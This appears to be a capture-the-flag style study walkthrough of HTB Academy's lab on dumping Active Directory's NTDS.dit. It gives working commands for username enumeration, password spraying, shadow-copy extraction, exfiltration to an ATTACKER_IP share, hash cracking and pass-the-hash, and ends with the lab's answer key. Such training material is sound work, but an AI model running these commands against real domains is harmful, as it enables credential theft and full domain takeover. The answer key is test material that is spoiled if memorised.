NTDS.dit Extraction & Analysis

🎯 Overview

NTDS.dit (NT Directory Services Directory Information Tree) is the holy grail of Active Directory attacks. This file contains:

• Every domain user's password hash

• Group memberships and permissions

• Kerberos keys and authentication data

• Complete domain schema information

"If this file can be captured, we could potentially compromise every account on the domain"

🏗️ Active Directory Authentication Architecture

Domain Authentication Flow

User Login → LSASS.exe → Authentication Packages → NTLM/Kerberos → AD Directory Services

Key Points

• Domain-joined systems authenticate against Domain Controller, not local SAM

• Local accounts still accessible with hostname\username or .\username

• NTDS.dit location: %systemroot%\ntds\NTDS.dit (usually C:\Windows\NTDS\NTDS.dit)

🔍 Username Enumeration and Discovery

OSINT for Employee Discovery

# HTB Academy Example: 
# Found through social media/company website:
# - John Marston (IT Director)
# - Carol Johnson (Financial Controller)  
# - Jennifer Stapleton (Logistics Manager)

# Google dorking techniques:
"@inlanefreight.com" site:linkedin.com
"inlanefreight.com filetype:pdf"
site:inlanefreight.com "directory" OR "staff" OR "employees"

Username Generation with Username Anarchy

# Clone Username Anarchy
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy

# Generate username variations for John Marston
./username-anarchy John Marston > usernames.txt

# Manual creation of targeted list
cat > usernames.txt << EOF
jmarston
john.marston
marston.john
cjohnson
carol.johnson
johnson.carol
jstapleton
jennifer.stapleton
stapleton.jennifer
EOF

Username Enumeration with Kerbrute

# Download Kerbrute
wget -q https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute

# Get domain name first
netexec smb 10.129.202.85
# Output shows: (domain:ILF.local)

# Enumerate valid usernames
./kerbrute userenum -d ILF.local --dc 10.129.202.85 usernames.txt

# Expected output:
# [+] VALID USERNAME: [e-mail]
# [+] VALID USERNAME: [e-mail]
# [+] VALID USERNAME: [e-mail]

🗡️ Password Attacks Against Active Directory

Dictionary Attacks with NetExec

# Brute force single user
netexec smb 10.129.202.85 -u jmarston -p /usr/share/wordlists/fasttrack.txt -d ILF.local

# Password spraying multiple users
netexec smb 10.129.202.85 -u usernames.txt -p /usr/share/wordlists/fasttrack.txt --continue-on-success -d ILF.local

# HTB Academy result:
# [+] ILF.local\jmarston:P@ssword!

Kerbrute Password Attacks

# Brute force with Kerbrute
./kerbrute bruteuser -d ILF.local --dc 10.129.202.85 /usr/share/wordlists/fasttrack.txt jmarston

# Expected result:
# [+] VALID LOGIN: [e-mail]:P@ssword!

🎫 NTDS.dit Extraction Methods

Method 1: NetExec ntdsutil Module (Fastest)

# One-command NTDS.dit extraction
netexec smb 10.129.202.85 -u jmarston -p 'P@ssword!' -d ILF.local -M ntdsutil

# Alternative direct method
netexec smb 10.129.202.85 -u jmarston -p 'P@ssword!' -d ILF.local --ntds

# Expected output:
# NTDSUTIL   10.129.202.85   445   DC01   [*] Dumping ntds with ntdsutil.exe
# NTDSUTIL   10.129.202.85   445   DC01   Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
# NTDSUTIL   10.129.202.85   445   DC01   jstapleton:1134:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

Method 2: Manual VSS (Volume Shadow Copy)

# Step 1: Connect with Evil-WinRM
evil-winrm -i 10.129.202.85 -u jmarston -p 'P@ssword!'

# Step 2: Check privileges (ensure Domain Admin)
net user jmarston
# Look for: Global Group memberships *Domain Admins

# Step 3: Create Volume Shadow Copy
vssadmin CREATE SHADOW /For=C:
# Output: Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

# Step 4: Copy NTDS.dit and registry hives
mkdir C:\temp
cmd.exe /c copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit" C:\temp\NTDS.dit
cmd.exe /c copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM" C:\temp\SYSTEM

# Step 5: Transfer to attack host
# On attack host:
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /tmp/

# On target:
cmd.exe /c move C:\temp\NTDS.dit \\ATTACKER_IP\CompData
cmd.exe /c move C:\temp\SYSTEM \\ATTACKER_IP\CompData

Method 3: Impacket secretsdump

# Remote NTDS.dit extraction
python3 secretsdump.py ILF.local/jmarston:P@ssword!@10.129.202.85 -just-dc-ntlm

# Local extraction from files
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

🔓 Hash Cracking and Analysis

Hash Format Understanding

# NTDS.dit output format:
# username:RID:LM_hash:NT_hash:::

# HTB Academy Jennifer Stapleton example:
# jstapleton:1134:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
#                                                   ^-- This is the NT hash to crack

Extracting and Cracking Jennifer Stapleton's Hash

# Extract Jennifer Stapleton's hash
grep -i "stapleton" ntds_dump.txt
# Output: jstapleton:1134:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

# Extract just the NT hash (4th field)
echo "161cff084477fe596a5db81874498a24" > jstapleton_hash.txt

# Crack with Hashcat
hashcat -m 1000 jstapleton_hash.txt /usr/share/wordlists/rockyou.txt

# HTB Academy result:
# 161cff084477fe596a5db81874498a24:Winter2008

Bulk Hash Processing

# Extract all NT hashes from NTDS dump
grep ":::" ntds_dump.txt | cut -d: -f4 > all_nt_hashes.txt

# Create username:hash mapping
grep ":::" ntds_dump.txt | awk -F: '{print $1":"$4}' > user_hash_mapping.txt

# Extract only enabled accounts
grep -iv disabled ntds_dump.txt | cut -d: -f1 > enabled_users.txt

⚔️ Pass-the-Hash Attacks

When Cracking Fails

# Use NT hash directly for authentication
evil-winrm -i 10.129.202.85 -u Administrator -H 64f12cddaa88057e06a81b54e73b949b

# Lateral movement with Impacket
python3 psexec.py -hashes :64f12cddaa88057e06a81b54e73b949b Administrator@TARGET_IP

# Network-wide testing with NetExec
netexec smb SUBNET_RANGE -u Administrator -H 64f12cddaa88057e06a81b54e73b949b

🏆 Complete HTB Academy Attack Workflow

Phase 1-2: Discovery and Enumeration

# 1. OSINT: Found John Marston, Carol Johnson, Jennifer Stapleton
# 2. Generate usernames with Username Anarchy
./username-anarchy John Marston > usernames.txt

# 3. Domain discovery
netexec smb 10.129.202.85  # → domain:ILF.local

# 4. Username validation
./kerbrute userenum -d ILF.local --dc 10.129.202.85 usernames.txt
# → [+] VALID USERNAME: [e-mail]

Phase 3-4: Password Attack and NTDS Extraction

# 5. Password brute force
./kerbrute bruteuser -d ILF.local --dc 10.129.202.85 /usr/share/wordlists/fasttrack.txt jmarston
# → [+] VALID LOGIN: [e-mail]:P@ssword!

# 6. NTDS.dit extraction
netexec smb 10.129.202.85 -u jmarston -p 'P@ssword!' -d ILF.local -M ntdsutil
# → All domain hashes extracted

Phase 5: Hash Cracking

# 7. Extract Jennifer Stapleton's hash
# jstapleton:1134:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

# 8. Crack the hash
echo "161cff084477fe596a5db81874498a24" > jstapleton_hash.txt
hashcat -m 1000 jstapleton_hash.txt /usr/share/wordlists/rockyou.txt
# → Result: Winter2008

📋 Quick Reference Commands

Discovery

# Domain enumeration
netexec smb TARGET_IP

# Username enumeration  
./kerbrute userenum -d DOMAIN.local --dc TARGET_IP usernames.txt

# Password attacks
netexec smb TARGET_IP -u users.txt -p passwords.txt --continue-on-success -d DOMAIN.local

NTDS.dit Extraction

# NetExec method (recommended)
netexec smb TARGET_IP -u USER -p PASS -d DOMAIN.local -M ntdsutil

# Direct extraction
netexec smb TARGET_IP -u USER -p PASS -d DOMAIN.local --ntds

# Impacket method
python3 secretsdump.py DOMAIN.local/USER:PASS@TARGET_IP -just-dc-ntlm

Hash Analysis

# Extract NT hashes
grep ":::" ntds_dump.txt | cut -d: -f4 > nt_hashes.txt

# Crack with Hashcat
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt

# Pass-the-Hash
evil-winrm -i TARGET_IP -u Administrator -H NTHASH

🎯 HTB Academy Answer Key

Based on the complete walkthrough:

1. NTDS.dit file name: NTDS.dit

2. Administrator NT hash: 64f12cddaa88057e06a81b54e73b949b

3. John Marston credentials: jmarston:P@ssword!

4. Jennifer Stapleton password: Winter2008

💡 Key Takeaways

1. OSINT drives success - Real employee names lead to valid usernames

2. Username enumeration first - Validate targets before password attacks

3. NTDS.dit = domain ownership - Every account's hash in one file

4. NetExec ntdsutil - Fastest extraction method

5. VSS understanding - Manual method for deeper control

6. Pass-the-Hash - Use hashes when cracking fails

7. Complete methodology - From OSINT to domain compromise

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This guide covers the complete NTDS.dit attack methodology as demonstrated in HTB Academy's Password Attacks module.